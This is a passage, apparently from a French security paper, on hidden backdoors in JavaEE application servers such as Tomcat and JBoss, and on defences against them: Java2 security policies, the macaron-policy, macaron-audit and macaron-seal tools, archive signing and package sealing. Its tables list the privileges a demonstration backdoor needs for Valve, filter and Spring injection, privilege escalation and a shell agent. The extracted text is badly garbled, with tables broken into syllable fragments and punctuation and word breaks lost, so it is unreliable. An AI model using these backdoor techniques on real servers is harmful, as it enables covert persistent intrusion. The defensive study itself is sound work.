8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
